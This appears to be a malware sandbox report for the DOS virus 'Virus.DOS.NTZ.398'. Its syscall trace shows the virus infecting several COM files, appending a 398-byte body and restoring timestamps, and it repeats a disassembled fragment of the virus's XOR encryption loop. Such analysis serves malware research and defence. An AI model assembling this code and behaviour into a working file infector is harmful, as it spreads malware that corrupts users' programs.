Sample viewer

vx.netlux.org/Virus.DOS.NTZ.398

.

GIF

Syscalls:

Time Syscall Op Syscall Name
2018-12-17T23:07:35.396722886Z 26 PC: 12afa | Set disk transfer address
2018-12-17T23:07:35.398372378Z 78 PC: 12aa6 | Find first file
2018-12-17T23:07:35.404433754Z 78 PC: 12b05 | Find first file
2018-12-17T23:07:35.410378681Z 47 PC: 12b11 | Get disk transfer address
2018-12-17T23:07:35.412553139Z 61 PC: 12b21 | Open file (Filename = 'SLEEP.COM')
2018-12-17T23:07:35.419332229Z 87 PC: 12b27 | Get or set file date and time
2018-12-17T23:07:35.42058854Z 63 PC: 12b47 | Read file or device (Read 4 bytes on handle 5)
2018-12-17T23:07:35.426904039Z 66 PC: 12b59 | Move file pointer
2018-12-17T23:07:35.428650524Z 64 PC: 12b64 | Write file or device (Write 4 bytes on handle 5)
2018-12-17T23:07:35.431610654Z 66 PC: 12b6d | Move file pointer
2018-12-17T23:07:35.433300191Z 44 PC: 12a75 | Get time 0x12a75: mov byte ptr [bp + 0x12d], cl
0x12a79: mov cx, 0x130
0x12a7c: lea si, word ptr [bp + 0x15e]
0x12a80: lea di, word ptr [bp + 0x276]
0x12a84: movsb byte ptr es:[di], byte ptr [si]
0x12a85: mov al, byte ptr [bp + 0x276]
0x12a89: xor al, byte ptr [bp + 0x12d]
0x12a8d: mov byte ptr [bp + 0x276], al
0x12a91: lea di, word ptr [si - 1]
0x12a94: lea si, word ptr [bp + 0x276]
0x12a98: movsb byte ptr es:[di], byte ptr [si]
0x12a99: mov si, di
0x12a9b: loop 0x12a80
0x12a9d: ret
0x12a9e: mov ah, 0x4e
0x12aa0: lea dx, word ptr [bp + 0x270]
0x12aa4: int 0x21
0x12aa6: jb 0x12ae6
0x12aa8: lea dx, word ptr [bp + 0x2ac]
0x12aac: mov cl, 0x7a
2018-12-17T23:07:35.436681239Z 64 PC: 12a60 | Write file or device (Write 398 bytes on handle 5)
2018-12-17T23:07:35.706861543Z 87 PC: 12b7f | Get or set file date and time
2018-12-17T23:07:35.708688958Z 62 PC: 12b83 | Close file
2018-12-17T23:07:35.716855035Z 79 PC: 12b05 | Find next file
2018-12-17T23:07:35.719689959Z 47 PC: 12b11 | Get disk transfer address
2018-12-17T23:07:35.7210782Z 61 PC: 12b21 | Open file (Filename = 'PRINT.COM')
2018-12-17T23:07:35.729055502Z 87 PC: 12b27 | Get or set file date and time
2018-12-17T23:07:35.730930216Z 63 PC: 12b47 | Read file or device (Read 4 bytes on handle 5)
2018-12-17T23:07:35.737394935Z 66 PC: 12b59 | Move file pointer
2018-12-17T23:07:35.739988618Z 64 PC: 12b64 | Write file or device (Write 4 bytes on handle 5)
2018-12-17T23:07:35.742885202Z 66 PC: 12b6d | Move file pointer
2018-12-17T23:07:35.744504274Z 44 PC: 12a75 | Get time 0x12a75: mov byte ptr [bp + 0x12d], cl
0x12a79: mov cx, 0x130
0x12a7c: lea si, word ptr [bp + 0x15e]
0x12a80: lea di, word ptr [bp + 0x276]
0x12a84: movsb byte ptr es:[di], byte ptr [si]
0x12a85: mov al, byte ptr [bp + 0x276]
0x12a89: xor al, byte ptr [bp + 0x12d]
0x12a8d: mov byte ptr [bp + 0x276], al
0x12a91: lea di, word ptr [si - 1]
0x12a94: lea si, word ptr [bp + 0x276]
0x12a98: movsb byte ptr es:[di], byte ptr [si]
0x12a99: mov si, di
0x12a9b: loop 0x12a80
0x12a9d: ret
0x12a9e: mov ah, 0x4e
0x12aa0: lea dx, word ptr [bp + 0x270]
0x12aa4: int 0x21
0x12aa6: jb 0x12ae6
0x12aa8: lea dx, word ptr [bp + 0x2ac]
0x12aac: mov cl, 0x7a
2018-12-17T23:07:35.747985113Z 64 PC: 12a60 | Write file or device (Write 398 bytes on handle 5)
2018-12-17T23:07:35.751097998Z 87 PC: 12b7f | Get or set file date and time
2018-12-17T23:07:35.752838121Z 62 PC: 12b83 | Close file
2018-12-17T23:07:35.760633649Z 79 PC: 12b05 | Find next file
2018-12-17T23:07:35.763917103Z 47 PC: 12b11 | Get disk transfer address
2018-12-17T23:07:35.76528398Z 61 PC: 12b21 | Open file (Filename = 'HELLO.COM')
2018-12-17T23:07:35.771898007Z 87 PC: 12b27 | Get or set file date and time
2018-12-17T23:07:35.77443255Z 63 PC: 12b47 | Read file or device (Read 4 bytes on handle 5)
2018-12-17T23:07:35.782160447Z 66 PC: 12b59 | Move file pointer
2018-12-17T23:07:35.783697745Z 64 PC: 12b64 | Write file or device (Write 4 bytes on handle 5)
2018-12-17T23:07:35.788029737Z 66 PC: 12b6d | Move file pointer
2018-12-17T23:07:35.789701783Z 44 PC: 12a75 | Get time 0x12a75: mov byte ptr [bp + 0x12d], cl
0x12a79: mov cx, 0x130
0x12a7c: lea si, word ptr [bp + 0x15e]
0x12a80: lea di, word ptr [bp + 0x276]
0x12a84: movsb byte ptr es:[di], byte ptr [si]
0x12a85: mov al, byte ptr [bp + 0x276]
0x12a89: xor al, byte ptr [bp + 0x12d]
0x12a8d: mov byte ptr [bp + 0x276], al
0x12a91: lea di, word ptr [si - 1]
0x12a94: lea si, word ptr [bp + 0x276]
0x12a98: movsb byte ptr es:[di], byte ptr [si]
0x12a99: mov si, di
0x12a9b: loop 0x12a80
0x12a9d: ret
0x12a9e: mov ah, 0x4e
0x12aa0: lea dx, word ptr [bp + 0x270]
0x12aa4: int 0x21
0x12aa6: jb 0x12ae6
0x12aa8: lea dx, word ptr [bp + 0x2ac]
0x12aac: mov cl, 0x7a
2018-12-17T23:07:35.792407598Z 64 PC: 12a60 | Write file or device (Write 398 bytes on handle 5)
2018-12-17T23:07:35.796471804Z 87 PC: 12b7f | Get or set file date and time
2018-12-17T23:07:35.798570486Z 62 PC: 12b83 | Close file
2018-12-17T23:07:35.806177005Z 26 PC: 12b97 | Set disk transfer address